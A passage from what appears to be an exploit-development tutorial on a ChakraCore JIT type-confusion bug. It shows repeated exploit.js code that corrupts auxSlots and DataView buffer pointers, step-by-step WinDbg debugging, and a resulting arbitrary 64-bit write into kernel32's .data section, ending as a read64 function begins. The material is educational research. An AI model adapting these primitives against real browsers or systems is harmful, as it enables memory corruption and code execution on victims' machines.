<span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>		<span class="c1">// Overwrite dataview2-&gt;buffer with 0x41414141</span>
</code></pre></div></div>

<p>Now <code class="language-plaintext highlighter-rouge">dataview2-&gt;buffer</code> would be overwritten with <code class="language-plaintext highlighter-rouge">0x4141414141414141</code>. Let’s consider the following code now:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x42424242</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="mh">0x42424242</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</code></pre></div></div>

<p>If we invoke <code class="language-plaintext highlighter-rouge">setUint32()</code> on <code class="language-plaintext highlighter-rouge">dataview2</code>, we do so at an offset of <code class="language-plaintext highlighter-rouge">0</code>. This is because we are not attempting to corrupt any other objects, we are intending to use <code class="language-plaintext highlighter-rouge">dataview2.setUint32()</code> in a legitimate fashion. When <code class="language-plaintext highlighter-rouge">dataview2-&gt;setUint32()</code> is invoked, it will fetch the address of the <code class="language-plaintext highlighter-rouge">buffer</code> from <code class="language-plaintext highlighter-rouge">dataview2</code> by locating <code class="language-plaintext highlighter-rouge">dataview2+0x38</code>, dereferencing the address, and attempting to write the value <code class="language-plaintext highlighter-rouge">0x4242424242424242</code> (as seen above) into the address.</p>

<p>The issue is, however, is that we used a type confusion vulnerability to update <code class="language-plaintext highlighter-rouge">dataview2-&gt;buffer</code> to a <em>different</em> address (in this case an invalid address of <code class="language-plaintext highlighter-rouge">0x4141414141414141</code>). This is the address <code class="language-plaintext highlighter-rouge">dataview2</code> will now attempt to write to, which obviously will cause an access violation.</p>

<p>Let’s do a test run of an arbitrary write primitive to overwrite the first 8 bytes of the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">kernel32.dll</code> (which is writable) to see this in action. To do so, let’s update our <code class="language-plaintext highlighter-rouge">exploit.js</code> script to the following:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="c1">// Print debug statement</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// Set dataview2-&gt;buffer to kernel32.dll .data section (which is writable)</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x5b3d0000</span><span class="o">+</span><span class="mh">0xa4000</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="mh">0x00007fff</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Overwrite kernel32.dll's .data section's first 8 bytes with 0x4141414141414141</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>Note that in the above code, the base address of the <code class="language-plaintext highlighter-rouge">.data</code> section <code class="language-plaintext highlighter-rouge">kernel32.dll</code> can be found with the following WinDbg command: <code class="language-plaintext highlighter-rouge">!dh kernel32</code>. Recall also that we can only write/read in 32-bit boundaries, as <code class="language-plaintext highlighter-rouge">DataView</code> (in Chakra/ChakraCore) only supplies methods that work on unsigned integers as high as a 32-bit boundary. There are no direct 64-bit writes.</p>

<p><img src="/images/2typeconfusion31.png" alt="" /></p>

<p><img src="/images/2typeconfusion32.png" alt="" /></p>

<p>Our target address will be <code class="language-plaintext highlighter-rouge">kernel32_base + 0xA4000</code>, based on our current version of Windows 10.</p>

<p>Let’s now run our <code class="language-plaintext highlighter-rouge">exploit.js</code> script in <code class="language-plaintext highlighter-rouge">ch.exe</code>, by way of WinDbg.</p>

<p><img src="/images/2typeconfusion33.png" alt="" /></p>

<p>To begin the process, let’s first set a breakpoint on our first <code class="language-plaintext highlighter-rouge">print()</code> debug statement via <code class="language-plaintext highlighter-rouge">ch!WScriptJsrt::EchoCallback</code>. When we hit this breakpoint, after resuming execution, let’s set a breakpoint on <code class="language-plaintext highlighter-rouge">chakracore!Js::DynamicTypeHandler::AdjustSlots</code>. We aren’t particularly interested in this function, which as we know will perform the type transition on our <code class="language-plaintext highlighter-rouge">o</code> object as a result of the <code class="language-plaintext highlighter-rouge">tmp</code> function setting its prototype, but we know that in the call stack we will see the address of the JIT’d function <code class="language-plaintext highlighter-rouge">opt()</code>, which performs the type confusion vulnerability.</p>

<p><img src="/images/2typeconfusion34.png" alt="" /></p>

<p>Examining the call stack, we can clearly see our <code class="language-plaintext highlighter-rouge">opt()</code> function.</p>

<p><img src="/images/2typeconfusion35.png" alt="" /></p>

<p>Let’s set a breakpoint on the instruction which will overwrite the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer of the <code class="language-plaintext highlighter-rouge">o</code> object.</p>

<p><img src="/images/2typeconfusion36.png" alt="" /></p>

<p>We can inspect R15 and R11 to confirm that we have our <code class="language-plaintext highlighter-rouge">o</code> object, who’s <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer is about to be overwritten with the <code class="language-plaintext highlighter-rouge">obj</code> object.</p>

<p><img src="/images/2typeconfusion37.png" alt="" /></p>

<p><img src="/images/2typeconfusion38.png" alt="" /></p>

<p>We can clearly see that the <code class="language-plaintext highlighter-rouge">o-&gt;auxSlots</code> pointer is updated with the address of <code class="language-plaintext highlighter-rouge">obj</code>.</p>

<p><img src="/images/2typeconfusion39.png" alt="" /></p>

<p>This is exactly how we would expect our vulnerability to behave. After the <code class="language-plaintext highlighter-rouge">opt(o, o, obj)</code> function is called, the next step in our script is the following:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
<span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>
</code></pre></div></div>

<p>We know that by setting a value on <code class="language-plaintext highlighter-rouge">o.c</code> we will actually end up corrupting <code class="language-plaintext highlighter-rouge">obj-&gt;auxSlots</code> with the address of our first <code class="language-plaintext highlighter-rouge">DataView</code> object. Recalling the previous image, we know that <code class="language-plaintext highlighter-rouge">obj-&gt;auxSlots</code> is located at <code class="language-plaintext highlighter-rouge">0x12b252a52b0</code>.</p>

<p><img src="/images/2typeconfusion40.png" alt="" /></p>

<p>Let’s set a hardware breakpoint to break whenever this address is written to at an 8-byte alignment.</p>

<p><img src="/images/2typeconfusion41.png" alt="" /></p>

<p>Taking a look at the disassembly, it is clear to see how <code class="language-plaintext highlighter-rouge">SetSlotUnchecked</code> indexes the <code class="language-plaintext highlighter-rouge">auxSlots</code> array (or what it thinks is the <code class="language-plaintext highlighter-rouge">auxSlots</code> array) by computing an index into an array.</p>

<p><img src="/images/2typeconfusion42.png" alt="" /></p>

<p>Let’s take a look at the RCX register, which should be <code class="language-plaintext highlighter-rouge">obj-&gt;auxSlots</code> (located at <code class="language-plaintext highlighter-rouge">0x12b252a52b0</code>).</p>

<p><img src="/images/2typeconfusion43.png" alt="" /></p>

<p>However, we can see that the value is no longer the <code class="language-plaintext highlighter-rouge">auxSlots</code> array, but is actually a pointer to a <code class="language-plaintext highlighter-rouge">DataView</code> object! This means we have successfully overwritten <code class="language-plaintext highlighter-rouge">obj-&gt;auxSlots</code> with the address of our <code class="language-plaintext highlighter-rouge">dataview</code> <code class="language-plaintext highlighter-rouge">DataView</code> object!</p>

<p><img src="/images/2typeconfusion44.png" alt="" /></p>

<p>Now that our <code class="language-plaintext highlighter-rouge">o.c = dataview1</code> operation has completed, we know the next instruction will be as follows:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>
</code></pre></div></div>

<p>Let’s update our script to set our <code class="language-plaintext highlighter-rouge">print()</code> debug statement right before the <code class="language-plaintext highlighter-rouge">obj.h = dataview2</code> instruction and restart execution in WinDbg.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Print debug statement</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// Set dataview2-&gt;buffer to kernel32.dll .data section (which is writable)</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x5b3d0000</span><span class="o">+</span><span class="mh">0xa4000</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="mh">0x00007fff</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Overwrite kernel32.dll's .data section's first 8 bytes with 0x4141414141414141</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>We know from our last debugging session that the function <code class="language-plaintext highlighter-rouge">chakracore!Js::DynamicTypeHandler::SetSlotUnchecked</code> was responsible for updating <code class="language-plaintext highlighter-rouge">o.c = dataview1</code>. Let’s set another breakpoint here to view our <code class="language-plaintext highlighter-rouge">obj.h = dataview2</code> line of code in action.</p>

<p><img src="/images/2typeconfusion45.png" alt="" /></p>

<p>After hitting the breakpoint, we can examine the RCX register, which contains the in-scope dynamic object passed to the <code class="language-plaintext highlighter-rouge">SetSlotUnchecked</code> function. We can clearly see this is our <code class="language-plaintext highlighter-rouge">obj</code> object, as <code class="language-plaintext highlighter-rouge">obj-&gt;auxSlots</code> points to our <code class="language-plaintext highlighter-rouge">dataview1</code> <code class="language-plaintext highlighter-rouge">DataView</code> object.</p>

<p><img src="/images/2typeconfusion46.png" alt="" /></p>

<p>We can then set a breakpoint on our final <code class="language-plaintext highlighter-rouge">mov qword ptr [rcx+rax*8], rdx</code> instruction, which we previously have seen, which will perform our <code class="language-plaintext highlighter-rouge">obj.h = dataview2</code> instruction.</p>

<p><img src="/images/2typeconfusion47.png" alt="" /></p>

<p>After hitting the instruction, we can see that our <code class="language-plaintext highlighter-rouge">dataview1</code> object is about to be operated on, and we can see that the <code class="language-plaintext highlighter-rouge">buffer</code> of our <code class="language-plaintext highlighter-rouge">dataview1</code> object currently points to <code class="language-plaintext highlighter-rouge">0x24471ebed0</code>.</p>

<p><img src="/images/2typeconfusion48.png" alt="" /></p>

<p>After the write operation, we can see that <code class="language-plaintext highlighter-rouge">dataview1-&gt;buffer</code> now points to our <code class="language-plaintext highlighter-rouge">dataview2</code> object.</p>

<p><img src="/images/2typeconfusion49.png" alt="" /></p>

<p>Again, to reiterate, we can do this type of operation because of our type confusion vulnerability, where ChakraCore doesn’t know we have corrupted <code class="language-plaintext highlighter-rouge">obj-&gt;auxSlots</code> with the address of <em>another</em> object, our <code class="language-plaintext highlighter-rouge">dataview1</code> object. When we execute <code class="language-plaintext highlighter-rouge">obj.h = dataview2</code>, ChakraCore treats <code class="language-plaintext highlighter-rouge">obj</code> as still having a valid <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer, which it doesn’t, and it will attempt to update the <code class="language-plaintext highlighter-rouge">obj.h</code> entry within <code class="language-plaintext highlighter-rouge">auxSlots</code> (which is really a <code class="language-plaintext highlighter-rouge">DataView</code> object). Because <code class="language-plaintext highlighter-rouge">dataview1-&gt;buffer</code> is stored where ChakraCore thinks <code class="language-plaintext highlighter-rouge">obj.h</code> is stored, we corrupt this value to the address of our second <code class="language-plaintext highlighter-rouge">DataView</code> object, <code class="language-plaintext highlighter-rouge">dataview2</code>.</p>

<p>Let’s now set a breakpoint, as we saw earlier in the blog post, on the <code class="language-plaintext highlighter-rouge">setUint32()</code> method of our <code class="language-plaintext highlighter-rouge">DataView</code> object, which will perform the final object corruption and, shortly, our arbitrary write. We also can entirely clear out all other breakpoints.</p>

<p><img src="/images/2typeconfusion50.png" alt="" /></p>

<p>After hitting our breakpoint, we can then scroll through the disassembly of <code class="language-plaintext highlighter-rouge">EntrySetUint32()</code> and set a breakpoint on <code class="language-plaintext highlighter-rouge">chakracore!Js::DataView::SetValue</code>, as we have previously showcased in this blog post.</p>

<p><img src="/images/2typeconfusion51.png" alt="" /></p>

<p><img src="/images/2typeconfusion52.png" alt="" /></p>

<p>After hitting this breakpoint, we can scroll through the disassembly and set a final breakpoint on the other <code class="language-plaintext highlighter-rouge">SetValue()</code> method.</p>

<p><img src="/images/2typeconfusion53.png" alt="" /></p>

<p>Within this method function, we know <code class="language-plaintext highlighter-rouge">mov dword ptr [rax], ecx</code> is the instruction responsible ultimately for writing to the in-scope <code class="language-plaintext highlighter-rouge">DataView</code> object’s buffer. Let’s clear out all breakpoints, and focus solely on this instruction.</p>

<p><img src="/images/2typeconfusion54.png" alt="" /></p>

<p>After hitting this breakpoint, we know that RAX will contain the address we are going to write into. As we talked about in our exploitation strategy, this should be <code class="language-plaintext highlighter-rouge">dataview2-&gt;buffer</code>. We are going to use the <code class="language-plaintext highlighter-rouge">setUint32()</code> method provided by <code class="language-plaintext highlighter-rouge">dataview1</code> in order to overwrite <code class="language-plaintext highlighter-rouge">dataview2-&gt;buffer</code>’s address with a raw 64-bit value (broken up into two write operations).</p>

<p><img src="/images/2typeconfusion55.png" alt="" /></p>

<p>Looking in the RCX register above, we can also actually see the “lower” part of <code class="language-plaintext highlighter-rouge">kernel32.dll</code>’s <code class="language-plaintext highlighter-rouge">.data</code> section - the target address we would like to perform an arbitrary write to.</p>

<p>We now can step through the <code class="language-plaintext highlighter-rouge">mov dword ptr [rax], ecx</code> instruction and see that <code class="language-plaintext highlighter-rouge">dataview2-&gt;buffer</code> has been partially overwritten (the lower 4 bytes) with the lower 4 bytes of <code class="language-plaintext highlighter-rouge">kernel32.dll</code>’s <code class="language-plaintext highlighter-rouge">.data</code> section!</p>

<p><img src="/images/2typeconfusion56.png" alt="" /></p>

<p>Perfect! We can now press <code class="language-plaintext highlighter-rouge">g</code> in the debugger to hit the <code class="language-plaintext highlighter-rouge">mov dword ptr [rax], ecx</code> instruction again. This time, the <code class="language-plaintext highlighter-rouge">setUint32()</code> operation should write the upper part of the <code class="language-plaintext highlighter-rouge">kernel32.dll</code> <code class="language-plaintext highlighter-rouge">.data</code> section’s address, thus completing the full pointer-sized arbitrary write primitive.</p>

<p><img src="/images/2typeconfusion57.png" alt="" /></p>

<p><img src="/images/2typeconfusion58.png" alt="" /></p>

<p>After hitting the breakpoint and stepping through the instruction, we can inspect RAX again to confirm this is <code class="language-plaintext highlighter-rouge">dataview2</code> and we have fully corrupted the <code class="language-plaintext highlighter-rouge">buffer</code> pointer with an arbitrary address 64-bit address with no NaN-boxing effect! This is perfect, because the next time <code class="language-plaintext highlighter-rouge">dataview2</code> goes to set its buffer, it will use the <code class="language-plaintext highlighter-rouge">kernel32.dll</code> address we provided, thinking this is its buffer! Because of this, whatever value we now supply to <code class="language-plaintext highlighter-rouge">dataview2.setUint32()</code> will actually overwrite <code class="language-plaintext highlighter-rouge">kernel32.dll</code>’s <code class="language-plaintext highlighter-rouge">.data</code> section! Let’s view this in action by again pressing <code class="language-plaintext highlighter-rouge">g</code> in the debugger to see our <code class="language-plaintext highlighter-rouge">dataview2.setUint32()</code> operations.</p>

<p>As we can see below, when we hit our breakpoint again the <code class="language-plaintext highlighter-rouge">buffer</code> address being used is located in <code class="language-plaintext highlighter-rouge">kernel32.dll</code>, and our <code class="language-plaintext highlighter-rouge">setUint32()</code> operation writes <code class="language-plaintext highlighter-rouge">0x41414141</code> into the <code class="language-plaintext highlighter-rouge">.data</code> section! We have achieved an arbitrary write!</p>

<p><img src="/images/2typeconfusion59.png" alt="" /></p>

<p>We then press <code class="language-plaintext highlighter-rouge">g</code> in the debugger once more, to write the other 32-bits. This leads to a full 64-bit arbitrary write primitive!</p>

<p><img src="/images/2typeconfusion60.png" alt="" /></p>

<p>Perfect! What this means is that we can first set <code class="language-plaintext highlighter-rouge">dataview2-&gt;buffer</code>, via <code class="language-plaintext highlighter-rouge">dataview1.setUint32()</code>, to any 64-bit address we would like to overwrite. Then we can use <code class="language-plaintext highlighter-rouge">dataview2.setUint32()</code> in order to overwrite the provided 64-bit address! This also bodes true anytime we would like to arbitrarily read/dereference memory!</p>

<p>We simply, as the write primitive, set <code class="language-plaintext highlighter-rouge">dataview2-&gt;buffer</code> to whatever address we would like to read from. Then, instead of using the <code class="language-plaintext highlighter-rouge">setUint32()</code> method to overwrite the 64-bit address, we use the <code class="language-plaintext highlighter-rouge">getUint32()</code> method which will instead read whatever is located in <code class="language-plaintext highlighter-rouge">dataview2-&gt;buffer</code>. Since <code class="language-plaintext highlighter-rouge">dataview2-&gt;buffer</code> contains the 64-bit address we want to read from, this method simply will read 8 bytes from here, meaning we can read/write in 8 byte boundaries!</p>

<p>Here is our full read/write primitive code.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Function to convert to hex for memory addresses</span>
<span class="kd">function</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">return</span> <span class="nx">$</span><span class="p">{</span><span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)};</span>
<span class="p">}</span>

<span class="c1">// Arbitrary read function</span>
<span class="kd">function</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">)</span> <span class="p">{</span>
	<span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> 		<span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
